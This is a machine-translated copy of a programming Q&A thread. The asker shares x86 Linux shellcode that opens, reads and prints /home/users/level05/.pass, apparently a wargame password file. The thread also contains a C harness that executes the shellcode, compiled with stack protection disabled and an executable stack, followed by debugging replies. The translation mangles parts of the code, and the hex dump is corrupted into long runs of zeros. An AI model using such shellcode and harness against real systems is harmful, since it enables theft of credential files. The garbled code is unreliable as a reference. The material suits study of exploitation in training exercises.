C ASM[打开/读取/写入]外壳代码分段故障
我正在尝试编写一个简单的外壳代码来读取文件的内容 这是我的集会:C ASM[打开/读取/写入]外壳代码分段故障,c,assembly,segmentation-fault,shellcode,C,Assembly,Segmentation Fault,Shellcode,我正在尝试编写一个简单的外壳代码来读取文件的内容 这是我的集会: xor eax, eax xor ecx, ecx xor edx, edx push 0x73 ; /home/users/level05/.pass push 0x7361702e ; push 0x2f35306c push 0x6576656c push 0x2f737265 push 0x73752f65 push 0x6d6f682f
xor eax, eax
xor ecx, ecx
xor edx, edx
push 0x73 ; /home/users/level05/.pass
push 0x7361702e ;
push 0x2f35306c
push 0x6576656c
push 0x2f737265
push 0x73752f65
push 0x6d6f682f
mov ebx, esp
mov al, 0x05
int 0x80 ; open
mov ebx, eax
xor eax, eax
xor edx, edx
mov dl, 0x10
mov ecx, esp
mov al, 0x03
int 0x80 ; read
mov ecx, eax
xor ebx, ebx
mov bl, 0x01
mov al, 0x04
int 0x80 ; write
`
所以,如果我把它转换成外壳代码,并简单地运行它,我就有一个分段错误
我验证了我的代码,看起来不错。要读取的文件也存在,我对其拥有权限
我将其编译为在x86Linux上运行
我正在使用以下命令编译程序:
#include<stdio.h>
#include<string.h>
unsigned char code[] = \
"MYSHELLCODE";
main()
{
printf("Shellcode Length: %d\n", strlen(code));
int (*ret)() = (int(*)())code;
ret();
}
#包括
#包括
无符号字符代码[]=\
“MYSHELLCODE”;
main()
{
printf(“外壳代码长度:%d\n”,strlen(代码));
int(*ret)(=(int(*)()代码;
ret();
}
然后我运行:gcc-shell.c-oshell-fno-stack-protector-z execstack-m32
(代码:<代码:<代码><代码>\x0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0\xdb\xb3\x01\xb0\x04\xcd\x80
68字节
`您的shell代码似乎没有返回值。此外,它不遵循C调用约定,这可能会或可能不会导致崩溃。崩溃本身应该只发生在您的代码之后,但是,您忘记了说明是不是这样。PS:学习使用调试器。向我们展示程序集的完整代码,无法判断它是否已实际组装并与实际的C代码链接。不确定您正在尝试如何编写。您是否试图将字符串写入标准输出?如果是这种情况,则read返回EAX中读取的字符数,而不将缓冲区设置为write。也许你打算把ESP移到ECX?